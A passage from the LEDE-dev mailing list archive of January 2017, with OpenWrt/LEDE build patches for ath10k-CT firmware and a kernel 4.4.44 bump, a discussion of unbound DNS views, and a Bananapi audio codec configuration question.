typical networks with more than, say 3 stations, but I've ranted about
that elsewhere.

But - as it had been enabled for a year for everybody else with no
problems, (unless nbd did it in regard to someone else other than me?),
goferit. I'll take the time to poke into 4 and 5 with more structured
tests (uftp, maybe, or mdns-flooding) at some point after 388 yields to
a full scale attack.

It's just odhcpd that sucks rocks through a straw.

> Regards, Linus
> 
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev
> 


From greearb at candelatech.com  Fri Jan 20 15:20:48 2017
From: greearb at candelatech.com (greearb at candelatech.com)
Date: Fri, 20 Jan 2017 15:20:48 -0800
Subject: [LEDE-DEV] [PATCH] ath10k-ct: Support ath10k CT firmware for 9887
 chipsets.
Message-ID: <1484954448-23696-1-git-send-email-greearb@candelatech.com>

From: Ben Greear <greearb at candelatech.com>

Signed-off-by: Ben Greear <greearb at candelatech.com>
---

Build tested, but the board I was trying to test it on appears busted
and does not even show an ath10k device on the bus, so not sure if
this firmware actually works.

 package/firmware/ath10k-firmware/Makefile | 38 +++++++++++++++++++++++++++++++
 1 file changed, 38 insertions(+)

diff --git a/package/firmware/ath10k-firmware/Makefile b/package/firmware/ath10k-firmware/Makefile
index fa026e4..301dcbd 100644
--- a/package/firmware/ath10k-firmware/Makefile
+++ b/package/firmware/ath10k-firmware/Makefile
@@ -32,6 +32,11 @@ $(Package/ath10k-firmware-default)
   TITLE:=ath10k firmware for QCA9887 devices
 endef
 
+define Package/ath10k-firmware-qca9887-ct
+$(Package/ath10k-firmware-default)
+  TITLE:=ath10k-CT firmware for QCA9887 devices
+endef
+
 QCA9887_REV:=3cce88e245f2d685e49411c4f80998f94baf67b8
 QCA9887_FIRMWARE_FILE:=firmware-5.bin_10.2.4-1.0-00013
 QCA9887_FIRMWARE_FILE_HASH:=5966408bd41f309edb595344b8dd088c0fed212debfd91e5f3e8a55ea119c16d
@@ -79,6 +84,13 @@ define Download/ath10k-firmware-qca988x-ct
 endef
 $(eval $(call Download,ath10k-firmware-qca988x-ct))
 
+QCA9887_FIRMWARE_FILE_CT:=firmware-2-ct-full-community.bin-19-rc1-lede
+define Download/ath10k-firmware-qca9887-ct
+  $(call Download/ct-firmware,QCA9887,ath10k-9887)
+  HASH:=622deb6996dd70b83d9a42c742254137fbc4afcc59134f60bf8f3e97aac17c6e
+endef
+$(eval $(call Download,ath10k-firmware-qca9887-ct))
+
 QCA99X0_FIRMWARE_FILE_CT:=firmware-5-ct-full-community-9.bin-lede.001
 define Download/ath10k-firmware-qca99x0-ct
   $(call Download/ct-firmware,QCA99X0,ath10k-10-4)
@@ -107,6 +119,13 @@ $(Package/ath10k-firmware-default)
   CATEGORY:=Firmware
 endef
 
+define Package/ath10k-firmware-qca9887-ct
+$(Package/ath10k-firmware-default)
+  TITLE:=ath10k CT 10.1 firmware for QCA9887 devices
+  SECTION:=firmware
+  CATEGORY:=Firmware
+endef
+
 define Package/ath10k-firmware-qca988x-ct/description
 Alternative ath10k firmware for QCA988X from Candela Technologies.
 Enables IBSS and other features.  See:
@@ -116,6 +135,14 @@ is un-selected since the driver will try to load firmware-5.bin before
 firmware-2.bin
 endef
 
+define Package/ath10k-firmware-qca9887-ct/description
+Alternative ath10k firmware for QCA9887 from Candela Technologies.
+Enables IBSS and other features.  See:
+http://www.candelatech.com/ath10k-10.1.php
+This firmware conflicts with the standard 9887 firmware, so select only
+one.
+endef
+
 define Package/ath10k-firmware-qca99x0-ct/description
 Alternative ath10k firmware for QCA99x0 from Candela Technologies.
 Enables IBSS and other features.  See:
@@ -224,6 +251,16 @@ define Package/ath10k-firmware-qca988x/install
 		$(1)/lib/firmware/ath10k/QCA988X/hw2.0/firmware-5.bin
 endef
 
+define Package/ath10k-firmware-qca9887-ct/install
+	$(INSTALL_DIR) $(1)/lib/firmware/ath10k/QCA9887/hw1.0
+	$(INSTALL_DATA) \
+		$(DL_DIR)/$(call CT_FIRMWARE_FILE,QCA9887) \
+		$(1)/lib/firmware/ath10k/QCA9887/hw1.0/firmware-2.bin
+	$(INSTALL_DATA) \
+		$(DL_DIR)/$(QCA9887_BOARD_FILE_DL) \
+		$(1)/lib/firmware/ath10k/QCA9887/hw1.0/board.bin
+endef
+
 define Package/ath10k-firmware-qca988x-ct/install
 	$(INSTALL_DIR) $(1)/lib/firmware/ath10k/QCA988X/hw2.0
 	$(INSTALL_DATA) \
@@ -297,6 +334,7 @@ $(eval $(call BuildPackage,ath10k-firmware-qca99x0))
 $(eval $(call BuildPackage,ath10k-firmware-qca6174))
 $(eval $(call BuildPackage,ath10k-firmware-qca9984))
 
+$(eval $(call BuildPackage,ath10k-firmware-qca9887-ct))
 $(eval $(call BuildPackage,ath10k-firmware-qca988x-ct))
 $(eval $(call BuildPackage,ath10k-firmware-qca99x0-ct))
 $(eval $(call BuildPackage,ath10k-firmware-qca9984-ct))
-- 
2.4.11



From greearb at candelatech.com  Fri Jan 20 15:21:02 2017
From: greearb at candelatech.com (greearb at candelatech.com)
Date: Fri, 20 Jan 2017 15:21:02 -0800
Subject: [LEDE-DEV] [PATCH v2] ath10k-ct: Fix performance of 2x2 hardware
 running 3x3 firmware.
Message-ID: <1484954462-23800-1-git-send-email-greearb@candelatech.com>

From: Ben Greear <greearb at candelatech.com>

The driver had a bug when calculating the rateset.  This resolves
that and allows full VHT mcs rates on 2x2 hardware.

Signed-off-by: Ben Greear <greearb at candelatech.com>
---

v2:  Use most recent git commit hash, the previous one was broken
on LEDE.

 package/kernel/ath10k-ct/Makefile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/package/kernel/ath10k-ct/Makefile b/package/kernel/ath10k-ct/Makefile
index 3c31e11..5e3b16d 100644
--- a/package/kernel/ath10k-ct/Makefile
+++ b/package/kernel/ath10k-ct/Makefile
@@ -8,8 +8,8 @@ PKG_LICENSE_FILES:=
 
 PKG_SOURCE_URL:=https://github.com/greearb/ath10k-ct.git
 PKG_SOURCE_PROTO:=git
-PKG_SOURCE_DATE:=2017-01-10
-PKG_SOURCE_VERSION:=f5bacb83baf95e887c50c286606f4f565ef71d86
+PKG_SOURCE_DATE:=2017-01-20
+PKG_SOURCE_VERSION:=9fc6c4f4b97c934a66043d1b7c8f8cbc415bd538
 PKG_MIRROR_HASH:=845950a177ed6dd7ad3f645df79403e9980f089a09b66e74a9b88abe58dfe5e6
 
 PKG_MAINTAINER:=Ben Greear <greearb at candelatech.com>
-- 
2.4.11



From ericluehrsen at hotmail.com  Fri Jan 20 19:06:36 2017
From: ericluehrsen at hotmail.com (Eric Luehrsen)
Date: Sat, 21 Jan 2017 03:06:36 +0000
Subject: [LEDE-DEV] s/dnsmasq/unbound+odhcpd/
In-Reply-To: <20170120170614.4736b177@danielf.thecshore.com>
References: <E851BE24-1440-43D7-B853-7A606E196740@danrl.com>,
 <20170120170614.4736b177@danielf.thecshore.com>
Message-ID: <CY1PR11MB05888D88AC6B8109F1569F18CC700@CY1PR11MB0588.namprd11.prod.outlook.com>

>>>Sound interesting.  Can it do multiple instances?

(1) The UCI scripts are not configured for instances, but ...

(2) It wouldn't be a good idea. Recursive servers keep a lot of infrastructure cache with the zone data. This grows with DNSSEC. Lame paths (broken DSKEY chains) and slow responding NS with mirrors are cached. The memory can be controlled, but at the cost of performance, so you want one big one with all the cache, and ...

(3) There is no need. Unbound 1.6.0 has "views:" which means from a zone or IP range, you can restrict what is seen. Two obvious uses:
-- CoffeeShop/Guest WiFi. Guests cannot DNS each other or the coffee shop equipment. Firewall prevents access, but why let them enumerate it.
view: -> (Guest 172.16.20.0/24) -> drop all queries for domain "joes-coffee.example.com"
view: -> (CoffeeShop172.16.10.0/24) -> DHCP-DNS domain "joes-coffee.example.com" and adblock everything so employees don't do whatever

-- Home/ChildProof WiFi. 
view: -> (ChildProof 172.16.20.0/24) -> big list of "kittens.jpeg" zones loaded by adblocker package. 
view: -> (Home 172.16.10.0/24) -> normal and mom and dad can do what they want.
 
ERIC    


From evaxige at gmail.com  Fri Jan 20 19:48:15 2017
From: evaxige at gmail.com (xige)
Date: Sat, 21 Jan 2017 11:48:15 +0800
Subject: [LEDE-DEV] sunxi: Bananapi/pro audio codec default disabled in
 device-tree
Message-ID: <B9316A34-14C5-4DE9-8B27-AFB77F8D6B2E@gmail.com>

Hi, All

I found sun7i bananapi/pro audio codec disabled in device-tree, I make a patch:

--- a/arch/arm/boot/dts/sun7i-a20-bananapi.dts
+++ b/arch/arm/boot/dts/sun7i-a20-bananapi.dts
@@ -106,6 +106,10 @@
                >;
 };

+&codec {
+    status = "okay";
+};
+
 &ehci0 {
        status = "okay";
 };


But Audio codec also did not work. During booting "ALSA device list" is empty,  after boot  there is ?cards? ?card0? in /proc/asound. So, I change kernel config: 

--- a/target/linux/sunxi/config-4.4
+++ b/target/linux/sunxi/config-4.4
@@ -462,12 +462,29 @@ CONFIG_SMP=y
 CONFIG_SMP_ON_UP=y
 CONFIG_SND=y
 CONFIG_SND_COMPRESS_OFFLOAD=y
+CONFIG_SND_DEBUG=y
+# CONFIG_SND_DEBUG_VERBOSE is not set
+CONFIG_SND_DMAENGINE_PCM=y
+CONFIG_SND_HWDEP=y
 CONFIG_SND_JACK=y
+CONFIG_SND_MIXER_OSS=y
 CONFIG_SND_PCM=y
+CONFIG_SND_PCM_OSS=y
+CONFIG_SND_PCM_TIMER=y
+CONFIG_SND_SEQUENCER=y
+CONFIG_SND_SEQUENCER_OSS=y
+CONFIG_SND_SEQ_DUMMY=y
 CONFIG_SND_SOC=y
+CONFIG_SND_SOC_GENERIC_DMAENGINE_PCM=y
 CONFIG_SND_SOC_I2C_AND_SPI=y
+CONFIG_SND_SUN4I_CODEC=y
+CONFIG_SND_TIMER=y
 # CONFIG_SND_USB is not set
+CONFIG_SND_VERBOSE_PRINTK=y
+# CONFIG_SND_VIRMIDI is not set
 CONFIG_SOUND=y
+CONFIG_SOUND_OSS_CORE=y
+CONFIG_SOUND_OSS_CORE_PRECLAIM=y
 CONFIG_SPARSE_IRQ=y
 CONFIG_SPI=y
 CONFIG_SPI_MASTER=y

After boot device list is not empty, but did not work.


Cheers
wei

From ericluehrsen at hotmail.com  Fri Jan 20 19:50:50 2017
From: ericluehrsen at hotmail.com (Eric Luehrsen)
Date: Sat, 21 Jan 2017 03:50:50 +0000
Subject: [LEDE-DEV]  netifd: "bridge: disable IGMP snooping by default"
Message-ID: <CY1PR11MB0588DD2328204CBB6D7A42ACCC700@CY1PR11MB0588.namprd11.prod.outlook.com>

Dave,

May I quote you for pull requests to achieve "dnsmasq: make DHCPv6 work in standalone dnsmasq installation":
https://github.com/lede-project/source/pull/704
https://github.com/lede-project/source/pull/674

>>> "It's just odhcpd that sucks rocks through a straw."

Eric
    

From francesco.borromini at inventati.org  Sat Jan 21 09:30:10 2017
From: francesco.borromini at inventati.org (Stijn Segers)
Date: Sat, 21 Jan 2017 18:30:10 +0100
Subject: [LEDE-DEV] [PATCH] Kernel: bump to 4.4.44
Message-ID: <20170121173010.14377-1-francesco.borromini@inventati.org>

Bump kernel to 4.4.44. Compile-tested on ar71xx, ramips/mt7621 and x86/64.

.44 has been run-tested on the 17.01 branch here on ar71xx and mt7621.

Signed-off-by: Stijn Segers <francesco.borromini at inventati.org>
---
 include/kernel-version.mk                          |  4 +--
 .../patches-4.4/910-unaligned_access_hacks.patch   |  4 +--
 .../920-usb-chipidea-AR933x-platform-support.patch | 20 +++++-------
 .../ar71xx/patches-4.4/930-chipidea-pullup.patch   | 38 +++++++++-------------
 .../0111-mm-Remove-the-PFN-busy-warning.patch      |  2 +-
 ...80-NET-skip-GRO-for-foreign-MAC-addresses.patch | 10 +++---
 ...erial-imx-repair-and-complete-handshaking.patch | 16 ++++-----
 .../111-serial-imx-fix-polarity-of-RI.patch        |  7 +---
 ...let-irq-handler-return-IRQ_NONE-if-no-eve.patch |  9 ++---
 ...imx-make-sure-unhandled-irqs-are-disabled.patch |  7 +---
 ...mediatek-support-MTK-xHCI-host-controller.patch |  8 ++---
 ...mediatek-support-MTK-xHCI-host-controller.patch |  8 ++---
 ...5100_tco-Add-AMD-Mullins-platform-support.patch |  6 +---
 ...5100_tco-Add-AMD-Carrizo-platform-support.patch |  6 +---
 ...device-check-for-SB800-and-later-chipsets.patch | 18 ++++------
 ...5100_tco-properly-check-for-new-register-.patch | 12 +++----
 16 files changed, 64 insertions(+), 111 deletions(-)

diff --git a/include/kernel-version.mk b/include/kernel-version.mk
index efd58e1462..199c2adb58 100644
--- a/include/kernel-version.mk
+++ b/include/kernel-version.mk
@@ -3,10 +3,10 @@
 LINUX_RELEASE?=1
 
 LINUX_VERSION-3.18 = .43
-LINUX_VERSION-4.4 = .42
+LINUX_VERSION-4.4 = .44
 
 LINUX_KERNEL_HASH-3.18.43 = 1236e8123a6ce537d5029232560966feed054ae31776fe8481dd7d18cdd5492c
-LINUX_KERNEL_HASH-4.4.42 = 324747568e92f203e3ee5ec8b291a868f58b870f1ad214fa64aa3507ed42e878
+LINUX_KERNEL_HASH-4.4.44 = fabdcf2703f22a5b8aa3a3407909f18fdeea610c3d0f418fdc29123ed04de748
 
 ifdef KERNEL_PATCHVER
   LINUX_VERSION:=$(KERNEL_PATCHVER)$(strip $(LINUX_VERSION-$(KERNEL_PATCHVER)))
diff --git a/target/linux/ar71xx/patches-4.4/910-unaligned_access_hacks.patch b/target/linux/ar71xx/patches-4.4/910-unaligned_access_hacks.patch
index 21cad91161..2c014429f2 100644
--- a/target/linux/ar71xx/patches-4.4/910-unaligned_access_hacks.patch
+++ b/target/linux/ar71xx/patches-4.4/910-unaligned_access_hacks.patch
@@ -491,7 +491,7 @@
  		memcpy(p, foc->val, foc->len);
 --- a/net/ipv4/igmp.c
 +++ b/net/ipv4/igmp.c
-@@ -500,7 +500,7 @@ static struct sk_buff *add_grec(struct s
+@@ -505,7 +505,7 @@ static struct sk_buff *add_grec(struct s
  		if (!skb)
  			return NULL;
  		psrc = (__be32 *)skb_put(skb, sizeof(__be32));
@@ -610,7 +610,7 @@
  			goto next_ht;
 --- a/net/ipv6/ip6_offload.c
 +++ b/net/ipv6/ip6_offload.c
-@@ -221,7 +221,7 @@ static struct sk_buff **ipv6_gro_receive
+@@ -222,7 +222,7 @@ static struct sk_buff **ipv6_gro_receive
  			continue;
  
  		iph2 = (struct ipv6hdr *)(p->data + off);
diff --git a/target/linux/ar71xx/patches-4.4/920-usb-chipidea-AR933x-platform-support.patch b/target/linux/ar71xx/patches-4.4/920-usb-chipidea-AR933x-platform-support.patch
index 41eb7f2895..71649cacd6 100644
--- a/target/linux/ar71xx/patches-4.4/920-usb-chipidea-AR933x-platform-support.patch
+++ b/target/linux/ar71xx/patches-4.4/920-usb-chipidea-AR933x-platform-support.patch
@@ -1,8 +1,6 @@
-Index: linux-4.4.4/arch/mips/include/asm/mach-ath79/ar71xx_regs.h
-===================================================================
---- linux-4.4.4.orig/arch/mips/include/asm/mach-ath79/ar71xx_regs.h	2016-03-31 21:43:10.595132564 +0300
-+++ linux-4.4.4/arch/mips/include/asm/mach-ath79/ar71xx_regs.h	2016-03-31 21:56:21.463152017 +0300
-@@ -641,6 +641,7 @@
+--- a/arch/mips/include/asm/mach-ath79/ar71xx_regs.h
++++ b/arch/mips/include/asm/mach-ath79/ar71xx_regs.h
+@@ -644,6 +644,7 @@
  
  #define AR933X_BOOTSTRAP_MDIO_GPIO_EN	BIT(18)
  #define AR933X_BOOTSTRAP_EEPBUSY	BIT(4)
@@ -10,7 +8,7 @@ Index: linux-4.4.4/arch/mips/include/asm/mach-ath79/ar71xx_regs.h
  #define AR933X_BOOTSTRAP_REF_CLK_40	BIT(0)
  
  #define AR934X_BOOTSTRAP_SW_OPTION8	BIT(23)
-@@ -670,6 +671,8 @@
+@@ -673,6 +674,8 @@
  
  #define QCA956X_BOOTSTRAP_REF_CLK_40	BIT(2)
  
@@ -19,10 +17,8 @@ Index: linux-4.4.4/arch/mips/include/asm/mach-ath79/ar71xx_regs.h
  #define AR934X_PCIE_WMAC_INT_WMAC_MISC		BIT(0)
  #define AR934X_PCIE_WMAC_INT_WMAC_TX		BIT(1)
  #define AR934X_PCIE_WMAC_INT_WMAC_RXLP		BIT(2)
-Index: linux-4.4.4/arch/mips/ath79/dev-usb.c
-===================================================================
---- linux-4.4.4.orig/arch/mips/ath79/dev-usb.c	2016-03-31 21:43:10.407132560 +0300
-+++ linux-4.4.4/arch/mips/ath79/dev-usb.c	2016-03-31 21:43:10.707132567 +0300
+--- a/arch/mips/ath79/dev-usb.c
++++ b/arch/mips/ath79/dev-usb.c
 @@ -19,6 +19,9 @@
  #include <linux/platform_device.h>
  #include <linux/usb/ehci_pdriver.h>
@@ -33,7 +29,7 @@ Index: linux-4.4.4/arch/mips/ath79/dev-usb.c
  
  #include <asm/mach-ath79/ath79.h>
  #include <asm/mach-ath79/ar71xx_regs.h>
-@@ -170,6 +173,54 @@
+@@ -170,6 +173,54 @@ static void __init ar913x_usb_setup(void
  			   &ath79_ehci_pdata_v2, sizeof(ath79_ehci_pdata_v2));
  }
  
@@ -88,7 +84,7 @@ Index: linux-4.4.4/arch/mips/ath79/dev-usb.c
  static void __init ar933x_usb_setup(void)
  {
  	ath79_device_reset_set(AR933X_RESET_USBSUS_OVERRIDE);
-@@ -185,6 +236,8 @@
+@@ -185,6 +236,8 @@ static void __init ar933x_usb_setup(void
  			   AR933X_EHCI_BASE, AR933X_EHCI_SIZE,
  			   ATH79_CPU_IRQ(3),
  			   &ath79_ehci_pdata_v2, sizeof(ath79_ehci_pdata_v2));
diff --git a/target/linux/ar71xx/patches-4.4/930-chipidea-pullup.patch b/target/linux/ar71xx/patches-4.4/930-chipidea-pullup.patch
index 12568234bc..dfa9f6e72f 100644
--- a/target/linux/ar71xx/patches-4.4/930-chipidea-pullup.patch
+++ b/target/linux/ar71xx/patches-4.4/930-chipidea-pullup.patch
@@ -1,8 +1,6 @@
-Index: linux-4.4.4/drivers/usb/chipidea/ci.h
-===================================================================
---- linux-4.4.4.orig/drivers/usb/chipidea/ci.h	2016-03-31 21:39:23.571126980 +0300
-+++ linux-4.4.4/drivers/usb/chipidea/ci.h	2016-03-31 21:39:23.567126980 +0300
-@@ -199,6 +199,7 @@
+--- a/drivers/usb/chipidea/ci.h
++++ b/drivers/usb/chipidea/ci.h
+@@ -199,6 +199,7 @@ struct hw_bank {
   * @in_lpm: if the core in low power mode
   * @wakeup_int: if wakeup interrupt occur
   * @rev: The revision number for controller
@@ -10,7 +8,7 @@ Index: linux-4.4.4/drivers/usb/chipidea/ci.h
   */
  struct ci_hdrc {
  	struct device			*dev;
-@@ -248,6 +249,7 @@
+@@ -248,6 +249,7 @@ struct ci_hdrc {
  	bool				in_lpm;
  	bool				wakeup_int;
  	enum ci_revision		rev;
@@ -18,11 +16,9 @@ Index: linux-4.4.4/drivers/usb/chipidea/ci.h
  };
  
  static inline struct ci_role_driver *ci_role(struct ci_hdrc *ci)
-Index: linux-4.4.4/drivers/usb/chipidea/core.c
-===================================================================
---- linux-4.4.4.orig/drivers/usb/chipidea/core.c	2016-03-31 21:39:23.571126980 +0300
-+++ linux-4.4.4/drivers/usb/chipidea/core.c	2016-03-31 21:41:33.159130168 +0300
-@@ -883,7 +883,7 @@
+--- a/drivers/usb/chipidea/core.c
++++ b/drivers/usb/chipidea/core.c
+@@ -883,7 +883,7 @@ static inline void ci_role_destroy(struc
  {
  	ci_hdrc_gadget_destroy(ci);
  	ci_hdrc_host_destroy(ci);
@@ -31,7 +27,7 @@ Index: linux-4.4.4/drivers/usb/chipidea/core.c
  		ci_hdrc_otg_destroy(ci);
  }
  
-@@ -933,6 +933,9 @@
+@@ -934,6 +934,9 @@ static int ci_hdrc_probe(struct platform
  	ci->supports_runtime_pm = !!(ci->platdata->flags &
  		CI_HDRC_SUPPORTS_RUNTIME_PM);
  
@@ -41,7 +37,7 @@ Index: linux-4.4.4/drivers/usb/chipidea/core.c
  	ret = hw_device_init(ci, base);
  	if (ret < 0) {
  		dev_err(dev, "can't initialize hardware\n");
-@@ -998,7 +1001,7 @@
+@@ -999,7 +1002,7 @@ static int ci_hdrc_probe(struct platform
  		goto deinit_phy;
  	}
  
@@ -50,11 +46,9 @@ Index: linux-4.4.4/drivers/usb/chipidea/core.c
  		ret = ci_hdrc_otg_init(ci);
  		if (ret) {
  			dev_err(dev, "init otg fails, ret = %d\n", ret);
-Index: linux-4.4.4/drivers/usb/chipidea/otg.c
-===================================================================
---- linux-4.4.4.orig/drivers/usb/chipidea/otg.c	2016-03-31 21:39:23.571126980 +0300
-+++ linux-4.4.4/drivers/usb/chipidea/otg.c	2016-03-31 21:39:23.567126980 +0300
-@@ -95,8 +95,10 @@
+--- a/drivers/usb/chipidea/otg.c
++++ b/drivers/usb/chipidea/otg.c
+@@ -95,8 +95,10 @@ enum ci_role ci_otg_role(struct ci_hdrc
  
  void ci_handle_vbus_change(struct ci_hdrc *ci)
  {
@@ -66,11 +60,9 @@ Index: linux-4.4.4/drivers/usb/chipidea/otg.c
  
  	if (hw_read_otgsc(ci, OTGSC_BSV))
  		usb_gadget_vbus_connect(&ci->gadget);
-Index: linux-4.4.4/include/linux/usb/chipidea.h
-===================================================================
---- linux-4.4.4.orig/include/linux/usb/chipidea.h	2016-03-31 21:39:23.571126980 +0300
-+++ linux-4.4.4/include/linux/usb/chipidea.h	2016-03-31 21:39:23.567126980 +0300
-@@ -55,6 +55,7 @@
+--- a/include/linux/usb/chipidea.h
++++ b/include/linux/usb/chipidea.h
+@@ -55,6 +55,7 @@ struct ci_hdrc_platform_data {
  #define CI_HDRC_OVERRIDE_AHB_BURST	BIT(9)
  #define CI_HDRC_OVERRIDE_TX_BURST	BIT(10)
  #define CI_HDRC_OVERRIDE_RX_BURST	BIT(11)
diff --git a/target/linux/brcm2708/patches-4.4/0111-mm-Remove-the-PFN-busy-warning.patch b/target/linux/brcm2708/patches-4.4/0111-mm-Remove-the-PFN-busy-warning.patch
index f643ec883c..a0602807ba 100644
--- a/target/linux/brcm2708/patches-4.4/0111-mm-Remove-the-PFN-busy-warning.patch
+++ b/target/linux/brcm2708/patches-4.4/0111-mm-Remove-the-PFN-busy-warning.patch
@@ -14,7 +14,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
 
 --- a/mm/page_alloc.c
 +++ b/mm/page_alloc.c
-@@ -6782,8 +6782,6 @@ int alloc_contig_range(unsigned long sta
+@@ -6785,8 +6785,6 @@ int alloc_contig_range(unsigned long sta
  
  	/* Make sure the range is really isolated. */
  	if (test_pages_isolated(outer_start, end, false)) {
diff --git a/target/linux/generic/patches-4.4/680-NET-skip-GRO-for-foreign-MAC-addresses.patch b/target/linux/generic/patches-4.4/680-NET-skip-GRO-for-foreign-MAC-addresses.patch
index 698d394b8c..eff8e829a6 100644
--- a/target/linux/generic/patches-4.4/680-NET-skip-GRO-for-foreign-MAC-addresses.patch
+++ b/target/linux/generic/patches-4.4/680-NET-skip-GRO-for-foreign-MAC-addresses.patch
@@ -17,7 +17,7 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
 
 --- a/net/core/dev.c
 +++ b/net/core/dev.c
-@@ -4222,6 +4222,9 @@ static enum gro_result dev_gro_receive(s
+@@ -4224,6 +4224,9 @@ static enum gro_result dev_gro_receive(s
  	enum gro_result ret;
  	int grow;
  
@@ -27,7 +27,7 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
  	if (!(skb->dev->features & NETIF_F_GRO))
  		goto normal;
  
-@@ -5381,6 +5384,48 @@ static void __netdev_adjacent_dev_unlink
+@@ -5383,6 +5386,48 @@ static void __netdev_adjacent_dev_unlink
  					   &upper_dev->adj_list.lower);
  }
  
@@ -76,7 +76,7 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
  static int __netdev_upper_dev_link(struct net_device *dev,
  				   struct net_device *upper_dev, bool master,
  				   void *private)
-@@ -5452,6 +5497,7 @@ static int __netdev_upper_dev_link(struc
+@@ -5454,6 +5499,7 @@ static int __netdev_upper_dev_link(struc
  			goto rollback_lower_mesh;
  	}
  
@@ -84,7 +84,7 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
  	call_netdevice_notifiers_info(NETDEV_CHANGEUPPER, dev,
  				      &changeupper_info.info);
  	return 0;
-@@ -5578,6 +5624,7 @@ void netdev_upper_dev_unlink(struct net_
+@@ -5580,6 +5626,7 @@ void netdev_upper_dev_unlink(struct net_
  	list_for_each_entry(i, &upper_dev->all_adj_list.upper, list)
  		__netdev_adjacent_dev_unlink(dev, i->dev, i->ref_nr);
  
@@ -92,7 +92,7 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
  	call_netdevice_notifiers_info(NETDEV_CHANGEUPPER, dev,
  				      &changeupper_info.info);
  }
-@@ -6118,6 +6165,7 @@ int dev_set_mac_address(struct net_devic
+@@ -6120,6 +6167,7 @@ int dev_set_mac_address(struct net_devic
  	if (err)
  		return err;
  	dev->addr_assign_type = NET_ADDR_SET;
diff --git a/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch b/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
index 0a117f668f..82715b0cda 100644
--- a/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
+++ b/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
@@ -19,8 +19,6 @@ Signed-off-by: Petr ?tetiar <ynezz at true.cz>
  drivers/tty/serial/imx.c | 23 +++++++++++++++++------
  1 file changed, 17 insertions(+), 6 deletions(-)
 
-diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
-index 76818f5..086675e 100644
 --- a/drivers/tty/serial/imx.c
 +++ b/drivers/tty/serial/imx.c
 @@ -148,8 +148,11 @@
@@ -35,7 +33,7 @@ index 76818f5..086675e 100644
  #define USR2_RTSF	 (1<<4)	 /* RTS edge interrupt flag */
  #define USR2_TXDC	 (1<<3)	 /* Transmitter complete */
  #define USR2_BRCD	 (1<<2)	 /* Break condition */
-@@ -804,16 +807,19 @@ static unsigned int imx_tx_empty(struct uart_port *port)
+@@ -804,16 +807,19 @@ static unsigned int imx_tx_empty(struct
  static unsigned int imx_get_mctrl(struct uart_port *port)
  {
  	struct imx_port *sport = (struct imx_port *)port;
@@ -49,19 +47,20 @@ index 76818f5..086675e 100644
  
 -	if (readl(sport->port.membase + UCR2) & UCR2_CTS)
 -		tmp |= TIOCM_RTS;
+-
+-	if (readl(sport->port.membase + uts_reg(sport)) & UTS_LOOP)
+-		tmp |= TIOCM_LOOP;
 +	/* in DCE mode DCDIN is always 0 */
 +	if (!(usr1 & USR2_DCDIN))
 +		tmp |= TIOCM_CAR;
- 
--	if (readl(sport->port.membase + uts_reg(sport)) & UTS_LOOP)
--		tmp |= TIOCM_LOOP;
++
 +	/* in DCE mode RIIN is always 0 */
 +	if (readl(sport->port.membase + USR2) & USR2_RIIN)
 +		tmp |= TIOCM_RI;
  
  	return tmp;
  }
-@@ -831,6 +837,11 @@ static void imx_set_mctrl(struct uart_port *port, unsigned int mctrl)
+@@ -831,6 +837,11 @@ static void imx_set_mctrl(struct uart_po
  		writel(temp, sport->port.membase + UCR2);
  	}
  
@@ -73,6 +72,3 @@ index 76818f5..086675e 100644
  	temp = readl(sport->port.membase + uts_reg(sport)) & ~UTS_LOOP;
  	if (mctrl & TIOCM_LOOP)
  		temp |= UTS_LOOP;
--- 
-1.9.1
-
diff --git a/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch b/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
index a06557542a..0288298163 100644
--- a/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
+++ b/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
@@ -16,11 +16,9 @@ Signed-off-by: Petr ?tetiar <ynezz at true.cz>
  drivers/tty/serial/imx.c | 6 +++---
  1 file changed, 3 insertions(+), 3 deletions(-)
 
-diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
-index 231e7d5..bfc4555 100644
 --- a/drivers/tty/serial/imx.c
 +++ b/drivers/tty/serial/imx.c
-@@ -797,9 +797,9 @@ static unsigned int imx_get_hwmctrl(struct imx_port *sport)
+@@ -817,9 +817,9 @@ static unsigned int imx_get_mctrl(struct
  	if (!(usr1 & USR2_DCDIN))
  		tmp |= TIOCM_CAR;
  
@@ -33,6 +31,3 @@ index 231e7d5..bfc4555 100644
  
  	return tmp;
  }
--- 
-1.9.1
-
diff --git a/target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch b/target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch
index 0b803b7bda..a4f2951590 100644
--- a/target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch
+++ b/target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch
@@ -16,11 +16,9 @@ Signed-off-by: Petr ?tetiar <ynezz at true.cz>
  drivers/tty/serial/imx.c | 17 +++++++++++++----
  1 file changed, 13 insertions(+), 4 deletions(-)
 
-diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
-index bfc4555..5ced61e 100644
 --- a/drivers/tty/serial/imx.c
 +++ b/drivers/tty/serial/imx.c
-@@ -734,6 +734,7 @@ static irqreturn_t imx_int(int irq, void *dev_id)
+@@ -753,6 +753,7 @@ static irqreturn_t imx_int(int irq, void
  	struct imx_port *sport = dev_id;
  	unsigned int sts;
  	unsigned int sts2;
